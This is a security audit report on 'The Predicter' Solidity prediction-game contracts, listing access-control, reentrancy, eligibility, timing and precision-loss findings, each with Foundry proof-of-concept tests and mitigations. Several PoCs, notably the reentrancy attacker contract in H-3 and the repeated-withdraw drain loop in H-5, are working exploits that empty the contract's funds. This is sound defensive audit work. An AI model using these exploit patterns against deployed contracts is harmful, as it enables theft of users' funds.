The Predicter Security Audit Report by MK (16th DEC 2024)

High Risk Findings

[H-1] Users without approval by organizer and paid entry fee can make prediction on `ThePredicter::makePrediction`

Description: Users without approval by organizer and paid entry fee can make prediction on `ThePredicter::makePrediction`

Impact: An stranger user that don't pay the entry fee to register and was not approved can make a prediction and play with the others approved users that paid the entry fee

Proof of Concept:

1. Add the following code to the `test/ThePredicter.test.sol`:

```
contract ThePredicterTest is Test {
    error ThePredicter__NotEligibleForWithdraw();
    error ThePredicter__CannotParticipateTwice();
    error ThePredicter__RegistrationIsOver();
    error ThePredicter__IncorrectEntranceFee();
    error ThePredicter__IncorrectPredictionFee();
    error ThePredicter__AllPlacesAreTaken();
    error ThePredicter__PredictionsAreClosed();
+   error ThePredicter__UnauthorizedAccess();
```

```
    function test_UsersWithoutApprovalCanNotMakePrediction() public {
        // setup strange user
        vm.deal(stranger, 1 ether);

        // stranger try to make prediction without registration
        vm.startPrank(stranger);
        vm.expectRevert({
            revertData: abi.encodeWithSelector(
                ThePredicter__UnauthorizedAccess.selector
            )
        });
        thePredicter.makePrediction{value: 0.0001 ether}(
            0,
            ScoreBoard.Result.First
        );
    }
```

2. Run with: `forge test --match-test test_UsersWithoutApprovalCanNotMakePrediction -vvv`

Recommended Mitigation:

1. Add the check in the `ThePredicter::makePrediction`:

```
    function makePrediction(
        uint256 matchNumber,
        ScoreBoard.Result prediction
    ) public payable {
+       if (playersStatus[msg.sender] != Status.Approved) {
+           revert ThePredicter__UnauthorizedAccess();
+       }
...
```

[H-2] setPrediction has no access control and allows manipulation to Players' predictions.

Description: Lack of access control in `ScoreBoard::setPrediction` allows a malicious player to change other players' predictions even after the result is in.

Impact: A malicious player can make themselves the winner of the game by making other players lose. Also, this can be used to change their own predictions to make them correct.

Proof of Concept:

1. Insert the following test into `ThePredicter.test.sol`:

```
function test_maliciousPlayerCanSetOtherPlayersResult() public {
        address maliciousPlayer = makeAddr("maliciousPlayer");

        vm.deal(stranger, 0.0002 ether);
        vm.deal(maliciousPlayer, 0.0002 ether);

        vm.warp(2);
        vm.startPrank(stranger);
        thePredicter.makePrediction{value: 0.0001 ether}(0,
ScoreBoard.Result.First);
        vm.stopPrank();
        vm.startPrank(organizer);
        scoreBoard.setResult(0, ScoreBoard.Result.First);
        vm.stopPrank();

        vm.prank(maliciousPlayer);
        // Malicious player sets the incorrect result,
        // changing the score for stranger from 2 to -1
        scoreBoard.setPrediction(address(stranger), 0, ScoreBoard.Result.Draw);

        assertEq(scoreBoard.getPlayerScore(stranger), -1);
    }
```

Recommended Mitigation:

1. Make the `ScoreBoard::setPrediction` function only callable by `ThePredicter::makePrediction` function, which sets predictions only for the player calling the function

```diff
- function setPrediction(address player, uint256 matchNumber, Result result)
public {
+ function setPrediction(address player, uint256 matchNumber, Result result)
public onlyThePredicter {
```

[H-3] Reentrancy attack on `ThePredicter:cancelRegistration`

Description: The function `ThePredicter:cancelRegistration` is available to receive a reentrancy attack and lost all your funds

Impact: The protocol could be drained and the users will lost all your funds

Proof of Concept:

1. In the `test/` create the `ReentrancyAttackOnCancelRegistration.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

interface ThePredicter {
    function cancelRegistration() external;
}

contract ReentrancyAttackOnCancelRegistration {

    constructor(address _thePredicter) {
        thePredicter = ThePredicter(_thePredicter);
    }

    ThePredicter public thePredicter;

    receive() external payable {
        if(address(thePredicter).balance >= 0.04 ether) {
            thePredicter.cancelRegistration();
        }
    }

}
```

2. In the `test/ThePredicter.test.sol` import the `ReentrancyAttackOnCancelRegistration`:

```
    import {Test, console} from "forge-std/Test.sol";
    import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
    import {ThePredicter} from "../src/ThePredicter.sol";
    import {ScoreBoard} from "../src/ScoreBoard.sol";
+   import { ReentrancyAttackOnCancelRegistration } from "./ReentrancyAttackOnCancelRegistration.sol";
```

3. And add the test:

```
function test_ReentracyAttackOnCancelRegistration() public {
        // setup stranger users
        address stranger1 = makeAddr("stranger1");
        address stranger2 = makeAddr("stranger2");
        address stranger3 = makeAddr("stranger3");
        vm.deal(stranger1, 1 ether);
        vm.deal(stranger2, 1 ether);
        vm.deal(stranger3, 1 ether);

        // register stranger users
        vm.startPrank(stranger1);
        thePredicter.register{value: 0.04 ether}();
        vm.startPrank(stranger2);
        thePredicter.register{value: 0.04 ether}();
        vm.startPrank(stranger3);
        thePredicter.register{value: 0.04 ether}();

        // check thePredicter balance
        assertEq(address(thePredicter).balance, 0.12 ether);

        // setup ReentracyAttackOnCancelRegistration
        ReentrancyAttackOnCancelRegistration reentrancyAttackOnCancelRegistration = new ReentrancyAttackOnCancelRegistration(address(thePredicter));
        address addressReentrancyAttackOnCancelRegistration = address(reentrancyAttackOnCancelRegistration);
        vm.startPrank(addressReentrancyAttackOnCancelRegistration);
        vm.deal(addressReentrancyAttackOnCancelRegistration, 1 ether);

        // reentracy attack on cancel registration
        thePredicter.register{value: 0.04 ether}();
        thePredicter.cancelRegistration();

        // check balances
        assertEq(address(thePredicter).balance, 0 ether);
        assertEq(addressReentrancyAttackOnCancelRegistration.balance, 1.12 ether);
    }
```

4. Run with: `forge test --match-test test_ReentracyAttackOnCancelRegistration -vvvv`

Recommended Mitigation:

1. Update the status of the player to canceled before sending the entry fee.

```diff
    function cancelRegistration() public {
        if (playersStatus[msg.sender] == Status.Pending) {
+           playersStatus[msg.sender] = Status.Canceled;
            (bool success, ) = msg.sender.call{value: entranceFee}("");
            require(success, "Failed to withdraw");
-           playersStatus[msg.sender] = Status.Canceled;
            return;
        }
        revert ThePredicter__NotEligibleForWithdraw();
    }
```

[H-4] `isEligibleForReward` returns false for Players who made 1 Prediction only

Description: The contest's predefined criteria stipulates that players can receive a prize `if they had paid at least one prediction fee`, but the `isEligibleForReward` function forces players to make more than 1 prediction.

Impact: Players who participate in only one prediction won't be able to withdraw their prize.

Proof of Concept:

1. Copy this code at the end of the existing test file, then run it :

`forge test --mt test_playerShouldBeEligibleForRewardAfterOnePrediction`

```
/**
 * This test shows an error in isEligibleForReward function.
 * Running this code with the original codebase will revert.
 * Running this code with the appropriate value will pass.
 */
function test_playerShouldBeEligibleForRewardAfterOnePrediction() public {
    vm.startPrank(stranger);
    vm.deal(stranger, 1 ether);
    thePredicter.register{value: 0.04 ether}();
    vm.stopPrank();

    vm.prank(organizer);
    thePredicter.approvePlayer(stranger);

    vm.prank(stranger);
    thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);

    vm.startPrank(organizer);
    scoreBoard.setResult(0, ScoreBoard.Result.First);
    scoreBoard.setResult(1, ScoreBoard.Result.First);
    scoreBoard.setResult(2, ScoreBoard.Result.First);
    scoreBoard.setResult(3, ScoreBoard.Result.First);
    scoreBoard.setResult(4, ScoreBoard.Result.First);
    scoreBoard.setResult(5, ScoreBoard.Result.First);
    scoreBoard.setResult(6, ScoreBoard.Result.First);
    scoreBoard.setResult(7, ScoreBoard.Result.First);
    scoreBoard.setResult(8, ScoreBoard.Result.First);
    vm.stopPrank();

    vm.startPrank(organizer);
    thePredicter.withdrawPredictionFees();
    vm.stopPrank();

    vm.startPrank(stranger);
    // This reverts, while it shouldn't
    vm.expectRevert(ThePredicter__NotEligibleForWithdraw.selector);
    thePredicter.withdraw();
    vm.stopPrank();
}
```

Recommended Mitigation:

1. Update the `isEligibleForReward` function to authorize players with at least `1` prediction :

```
function isEligibleForReward(address player) public view returns (bool) {
    return
        results[NUM_MATCHES - 1] != Result.Pending &&
        playersPredictions[player].predictionsCount > 0; // @Audit : Previously 1
}
```

[H-5] `ThePredicter.withdraw` combined with `ScoreBoard.setPrediction` allows a player to withdraw rewards multiple times leading to a drain of funds in the contract

Description: A malicious user can make use of the functions `ThePredicter.withdraw` and `ScoreBoard.setPrediction` to withdraw rewards multiple times and drain most / all of the contract funds.

Impact: Complete loss of funds

Proof of Concept:

1. The function `ThePredicter.withdraw` uses the function `ScoreBoard.isElegibleForReward` to determine if a player can claim rewards. `ScoreBoard.isElegibleForReward` checks that the value of `ScoreBoard.playersPrediction[player].predictionsCount` is greater than one to allow a user to claim rewards, and the function `ThePredicter.withdraw` sets that value to 0 to prevent a player from claiming the rewards twice. However, the function `ScoreBoard.setPrediction` can be used by the player to set `ScoreBoard.playersPrediction[player].predictionsCount` to a value greater than 0, allowing the player to claim the rewards again.

2. This mechanism can be used multiple times to drain potentially all the funds in `ThePredicter`

3. The following PoC based on existing tests in the repository shows how a user can drain the contract by exploiting this vulnerability

```
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";

contract MultipleWithdrawTest is Test {
    ThePredicter public thePredicter;
    ScoreBoard public scoreBoard;
    address public organizer = makeAddr("organizer");
    address public stranger = makeAddr("stranger");

    function setUp() public {
        vm.startPrank(organizer);
        scoreBoard = new ScoreBoard();
        thePredicter = new ThePredicter(
            address(scoreBoard),
            0.04 ether,
            0.0001 ether
        );
        scoreBoard.setThePredicter(address(thePredicter));
        vm.stopPrank();
    }

    function test_multipleWithdrawForSinglePlayer() public {
        address stranger2 = makeAddr("stranger2");
        address stranger3 = makeAddr("stranger3");

        vm.startPrank(stranger);
        vm.deal(stranger, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(stranger2);
        vm.deal(stranger2, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(stranger3);
        vm.deal(stranger3, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(organizer);
        thePredicter.approvePlayer(stranger);
        thePredicter.approvePlayer(stranger2);
        thePredicter.approvePlayer(stranger3);
        vm.stopPrank();
        vm.startPrank(organizer);
        thePredicter.approvePlayer(stranger);
        vm.stopPrank();


        // make predictions
        vm.startPrank(stranger);
        thePredicter.makePrediction{value: 0.0001 ether}(
            1,
            ScoreBoard.Result.Draw
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            2,
            ScoreBoard.Result.Draw
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            3,
            ScoreBoard.Result.Draw
        );
        vm.stopPrank();

        vm.startPrank(stranger2);
        thePredicter.makePrediction{value: 0.0001 ether}(
            1,
            ScoreBoard.Result.Draw
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            2,
            ScoreBoard.Result.First
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            3,
            ScoreBoard.Result.First
        );
        vm.stopPrank();

        vm.startPrank(stranger3);
        thePredicter.makePrediction{value: 0.0001 ether}(
            1,
            ScoreBoard.Result.First
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            2,
            ScoreBoard.Result.First
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            3,
            ScoreBoard.Result.First
        );
        vm.stopPrank();

        vm.startPrank(organizer);
        scoreBoard.setResult(0, ScoreBoard.Result.First);
        scoreBoard.setResult(1, ScoreBoard.Result.First);
        scoreBoard.setResult(2, ScoreBoard.Result.First);
        scoreBoard.setResult(3, ScoreBoard.Result.First);
        scoreBoard.setResult(4, ScoreBoard.Result.First);
        scoreBoard.setResult(5, ScoreBoard.Result.First);
        scoreBoard.setResult(6, ScoreBoard.Result.First);
        scoreBoard.setResult(7, ScoreBoard.Result.First);
        scoreBoard.setResult(8, ScoreBoard.Result.First);
        vm.stopPrank();

        vm.startPrank(organizer);
        thePredicter.withdrawPredictionFees();
        vm.stopPrank();

        vm.startPrank(stranger2);
        // make multiple withdrawals until the contract does not have
        // enough funds
        while (true) {
            try thePredicter.withdraw() {
                // any prediction will do, does not have to be valid
                scoreBoard.setPrediction(stranger2, 0, ScoreBoard.Result.First);
            } catch {
                break;
            }
        }
        vm.stopPrank();


        vm.startPrank(stranger3);
        // this should not revert, but it does, because the contract
        // does not have enough funds to pay the player due to the
        // previous multiple withdrawals
        vm.expectRevert();
        thePredicter.withdraw();
        vm.stopPrank();

        // the contract is empty
        assertEq(address(thePredicter).balance, 0);
    }
}
```

Recommended Mitigation:

1. Keep track explicitly of which users have already withdraw the rewards in `ThePredicter` using a mapping(address => bool) or similar, and revert in case a player wants to withdraw multiple times

Medium Risk Findings

[M-1] Incorrect Time Calculation

Description: A bug in time calculation prevents the system to be used beyond the first match.

Impact: The system deviates from the expected behaviour in terms of limiting the time to make predictions.

Proof of Concept:

1. The code from `ThePredicter` contract on line 93 adds 18 hours starting from the second match, assuming that `matchNumber` is between 0 and 8 (0 means the first match and 8 means the last match). The calculation yields the following date and time:
    - Match Number 0: Thu Aug 15 2024 20:00:00 GMT+0000
    - Match Number 1: Fri Aug 16 2024 15:00:00 GMT+0000
    - Match Number 2: Sat Aug 17 2024 10:00:00 GMT+0000
    - Match Number 3: Sun Aug 18 2024 05:00:00 GMT+0000
    - Match Number 4: Mon Aug 19 2024 00:00:00 GMT+0000
    - Match Number 5: Mon Aug 19 2024 19:00:00 GMT+0000
    - Match Number 6: Tue Aug 20 2024 14:00:00 GMT+0000
    - Match Number 7: Wed Aug 21 2024 09:00:00 GMT+0000
    - Match Number 8: Thu Aug 22 2024 04:00:00 GMT+0000
2. A similar code is also found on `ScoreBoard` contract on line 66.

Recommended Mitigation:

1. Consider replacing the code on line 93 of `ThePredicter` contract and line 66 of `ScoreBoard` contract with the following snippet:

```
if (block.timestamp > START_TIME + matchNumber * 86400 - 3600) {
```

2. After the change, it is expected that we have the following timestamps:
    - Match Number 0: Thu Aug 15 2024 19:00:00 GMT+0000
    - Match Number 1: Thu Aug 16 2024 19:00:00 GMT+0000
    - Match Number 2: Thu Aug 17 2024 19:00:00 GMT+0000
    - Match Number 3: Thu Aug 18 2024 19:00:00 GMT+0000
    - Match Number 4: Thu Aug 19 2024 19:00:00 GMT+0000
    - Match Number 5: Thu Aug 20 2024 19:00:00 GMT+0000
    - Match Number 6: Thu Aug 21 2024 19:00:00 GMT+0000
    - Match Number 7: Thu Aug 22 2024 19:00:00 GMT+0000
    - Match Number 8: Thu Aug 23 2024 19:00:00 GMT+0000

[M-2] The Method withdrawPredictionFees() reverts if some players withraw() their share of entrance fee first

Description: It's most likely that a player can call `withdraw()` once the tournament is over independent of whether the organiser has called `withdrawPredictionFees()` or not. In case some players have already withdrawn their entrance fee share the organiser `withdrawPredictionFees()` will revert every single time. This amount will be stuck in the contract.

Impact: This will lead to all of the prediction fees getting stuck in the contract which should've been claimed by the organiser.

Proof of Concept:

```
function test_organiserGetsLessFeeIfPlayerWithdrawFirst() public {
    address stranger2 = makeAddr("stranger2");
    address stranger3 = makeAddr("stranger3");
    vm.startPrank(stranger);
    vm.deal(stranger, 1 ether);
    thePredicter.register{value: 0.04 ether}();
    vm.stopPrank();

    vm.startPrank(stranger2);
    vm.deal(stranger2, 1 ether);
    thePredicter.register{value: 0.04 ether}();
    vm.stopPrank();

    vm.startPrank(stranger3);
    vm.deal(stranger3, 1 ether);
    thePredicter.register{value: 0.04 ether}();
    vm.stopPrank();

    vm.startPrank(organizer);
    thePredicter.approvePlayer(stranger);
    thePredicter.approvePlayer(stranger2);
    thePredicter.approvePlayer(stranger3);
    vm.stopPrank();

    vm.startPrank(stranger);
    thePredicter.makePrediction{value: 0.0001 ether}(
        1,
        ScoreBoard.Result.First
    );
    thePredicter.makePrediction{value: 0.0001 ether}(
        2,
        ScoreBoard.Result.First
    );
    thePredicter.makePrediction{value: 0.0001 ether}(
        3,
        ScoreBoard.Result.Draw
    );
    thePredicter.makePrediction{value: 0.0001 ether}(
        4,
        ScoreBoard.Result.Draw
    );
    thePredicter.makePrediction{value: 0.0001 ether}(
        5,
        ScoreBoard.Result.Draw
    );
    vm.stopPrank();
```

```
        vm.startPrank(stranger2);
        thePredicter.makePrediction{value: 0.0001 ether}(
            1,
            ScoreBoard.Result.Draw
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            2,
            ScoreBoard.Result.First
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            3,
            ScoreBoard.Result.First
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            4,
            ScoreBoard.Result.Draw
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            5,
            ScoreBoard.Result.Draw
        );
        vm.stopPrank();

        vm.startPrank(stranger3);
        thePredicter.makePrediction{value: 0.0001 ether}(
            1,
            ScoreBoard.Result.First
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            2,
            ScoreBoard.Result.First
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            3,
            ScoreBoard.Result.First
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            4,
            ScoreBoard.Result.Draw
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            5,
            ScoreBoard.Result.Draw
        );
        vm.stopPrank();

        vm.startPrank(organizer);
        scoreBoard.setResult(0, ScoreBoard.Result.First);
        scoreBoard.setResult(1, ScoreBoard.Result.First);
        scoreBoard.setResult(2, ScoreBoard.Result.First);
        scoreBoard.setResult(3, ScoreBoard.Result.First);
        scoreBoard.setResult(4, ScoreBoard.Result.First);
        scoreBoard.setResult(5, ScoreBoard.Result.First);
        scoreBoard.setResult(6, ScoreBoard.Result.First);
```

```
    scoreBoard.setResult(7, ScoreBoard.Result.First);
    scoreBoard.setResult(8, ScoreBoard.Result.First);
    vm.stopPrank();

    vm.startPrank(stranger);
    thePredicter.withdraw();
    assertEq(stranger.balance, 0.9795 ether);

    vm.expectRevert();

    vm.startPrank(organizer);
    thePredicter.withdrawPredictionFees();
    vm.stopPrank();

}
```

Recommended Mitigation:

1. You can add a check whether the organiser has pulled his fees or not. Otherwise call **withdrawPredictionFees()** as soon as first player tries to withdraw it's amount and update the method code as below:

```
    function withdrawPredictionFees() public {
        if (msg.sender != organizer) {
            revert ThePredicter__NotEligibleForWithdraw();
        }

        uint256 fees = address(this).balance - players.length * entranceFee;
        (bool success, ) = organizer.call{value: fees}("");
        require(success, "Failed to withdraw");
    }
```

[M-3] The entrance Fee gets stuck if all the player have Zero points

Description: There is an missing edge case in the **withdraw()** code where if all the players have 0 points then the function reverts on each call.

Impact: The entrance fee will be stuck in the contract.

Proof of Concept:

```
    function test_WithdrawRevertIfTotalSharesIsZero() public {
        address stranger2 = makeAddr("stranger2");
        address stranger3 = makeAddr("stranger3");
        vm.startPrank(stranger);
        vm.deal(stranger, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();
        vm.startPrank(stranger2);
        vm.deal(stranger2, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(stranger3);
        vm.deal(stranger3, 1 ether);
        thePredicter.register{value: 0.04 ether}();
        vm.stopPrank();

        vm.startPrank(organizer);
        thePredicter.approvePlayer(stranger);
        thePredicter.approvePlayer(stranger2);
        thePredicter.approvePlayer(stranger3);
        vm.stopPrank();

        vm.startPrank(stranger);
        thePredicter.makePrediction{value: 0.0001 ether}(
            1,
            ScoreBoard.Result.First
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            2,
            ScoreBoard.Result.First
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            3,
            ScoreBoard.Result.Draw
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            4,
            ScoreBoard.Result.Draw
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            5,
            ScoreBoard.Result.Draw
        );
        thePredicter.makePrediction{value: 0.0001 ether}(
            6,
            ScoreBoard.Result.Draw
        );
        vm.stopPrank();

        vm.startPrank(organizer);
        scoreBoard.setResult(0, ScoreBoard.Result.First);
        scoreBoard.setResult(1, ScoreBoard.Result.First);
        scoreBoard.setResult(2, ScoreBoard.Result.First);
        scoreBoard.setResult(3, ScoreBoard.Result.First);
        scoreBoard.setResult(4, ScoreBoard.Result.First);
        scoreBoard.setResult(5, ScoreBoard.Result.First);
        scoreBoard.setResult(6, ScoreBoard.Result.First);
        scoreBoard.setResult(7, ScoreBoard.Result.First);
        scoreBoard.setResult(8, ScoreBoard.Result.First);
        vm.stopPrank();
        vm.startPrank(organizer);
        thePredicter.withdrawPredictionFees();
        vm.stopPrank();

        vm.expectRevert();

        vm.startPrank(stranger);
        thePredicter.withdraw();
    }
```

Recommended Mitigation:

1. Change it as below.

```
        reward = maxScore <= 0
            ? entranceFee
            : (shares * players.length * entranceFee) / totalShares;
```

Low Risk Findings

[L-1] It would be possible to make a prediction for an ongoing or already finished match if the Arbitrum timestamps deviate according to what the documentation states as possible

Description: During unlikely circumstances, it might be possible for players to make predictions using the function `ThePredicter.makePrediction` during a match or even after a match has finished.

Impact: Players could make predictions for ongoing or already finished matches.

Proof of Concept:

1. Although the function `ThePredicter.makePrediction` has validations in place to prevent players to make predictions during or after a match, according to Arbitrum's documentation, although unlikely, there is a chance that the `block.timestamp` could have a deviation up to 24 hours in the past. Meaning that there is a chance that users might be able to make predictions on ongoing matches, or matches that have already finished and whose results are already known.

2. The same issue is present in `Scoreboard.setPrediction` function.

Recommended Mitigation:

1. Add a function only available to the organizer that makes a state change in the contract to prevent further predictions to be made for a specific match. The function `ThePredicter.makePrediction` would have to check that state to allow a player to make a prediction. The organizer would only use the new function in case the block.timestamp deviation with the actual time is found to be significant.
2. Make a similar change for `Scoreboard.setPrediction` function, which is affected as well.

3. Alternatively, consider using `block.number` instead of `block.timestamp` which might be more reliable.

[L-2] Small amount of funds can remain stuck in contract due to precision loss

Description: Small amount of funds can remain stuck in the `ThePredicter` contract due to precision loss.

Impact: Small amount of funds remain stucked in the contract.

Proof of Concept:

1. The method `ThePredicter::withdraw` is responsible for players to withdraw their prize pool. It contains the following calculation `(shares * players.length * entranceFee) / totalShares` but since Solidity does not support floating point numbers it could lead to precision loss.

2. If there was no precision loss calling the method `ThePredicter::withdrawPredictionFees` by the organizer and `ThePredicter::withdraw` by all players eligable for rewards, it would leave the contract with 0 balance. However, small amounds of funds can remain as shown in the proof of code due to the precision loss.

3. Add the following test case `ThePredicter.test.sol`:

```
function test_remainingFundsAreStuckedInContract() public {
    vm.startPrank(organizer);

    uint256 registrationFee = 0.001 ether;
    uint256 predictionFee = 0.003 ether;

    scoreBoard = new ScoreBoard();
    thePredicter = new ThePredicter(
        address(scoreBoard),
        registrationFee,
        predictionFee
    );
    scoreBoard.setThePredicter(address(thePredicter));
    vm.stopPrank();

    address stranger2 = makeAddr("stranger2");
    address stranger3 = makeAddr("stranger3");
    address stranger4 = makeAddr("stranger4");
    address stranger5 = makeAddr("stranger5");
    address stranger6 = makeAddr("stranger6");
    address stranger7 = makeAddr("stranger7");

    address[7] memory players = [stranger, stranger2, stranger3, stranger4,
stranger5, stranger6, stranger7];

    for (uint256 i = 0; i < players.length; i++) {
        address player = players[i];

        vm.startPrank(player);
```

```
            vm.deal(player, 1 ether);
            thePredicter.register{value: registrationFee}();
            vm.stopPrank();

            vm.startPrank(organizer);
            thePredicter.approvePlayer(player);
            vm.stopPrank();
        }

        for (uint256 i = 0; i < players.length; i++) {
            address player = players[i];

            vm.startPrank(player);

            thePredicter.makePrediction{value: predictionFee}(
                0,
                ScoreBoard.Result.First
            );
            thePredicter.makePrediction{value: predictionFee}(
                1,
                ScoreBoard.Result.First
            );
            thePredicter.makePrediction{value: predictionFee}(
                2,
                i % 2 == 0 ? ScoreBoard.Result.First : ScoreBoard.Result.Second
            );

            vm.stopPrank();
        }

        vm.startPrank(organizer);
        scoreBoard.setResult(0, ScoreBoard.Result.First);
        scoreBoard.setResult(1, ScoreBoard.Result.First);
        scoreBoard.setResult(2, ScoreBoard.Result.First);
        scoreBoard.setResult(3, ScoreBoard.Result.First);
        scoreBoard.setResult(4, ScoreBoard.Result.First);
        scoreBoard.setResult(5, ScoreBoard.Result.First);
        scoreBoard.setResult(6, ScoreBoard.Result.First);
        scoreBoard.setResult(7, ScoreBoard.Result.First);
        scoreBoard.setResult(8, ScoreBoard.Result.First);
        vm.stopPrank();

        vm.startPrank(organizer);
        thePredicter.withdrawPredictionFees();
        vm.stopPrank();

        for (uint256 i = 0; i < players.length; i++) {
            address player = players[i];

            vm.startPrank(player);
            thePredicter.withdraw();
            vm.stopPrank();
        }
        uint256 remainingBalance = address(thePredicter).balance;
        console.log("Remaining funds:", remainingBalance);
        assert(remainingBalance > 0);
    }
```

4. Execute the following command: `forge test --mt test_remainingFundsAreStuckedInContract -vvvvvvv`

5. Verify from the logs that there is small amount of funds remaining: `Remaining funds: 4`

Recommended Mitigation: Implement method which allows for the organizer to withdraw the remaining funds.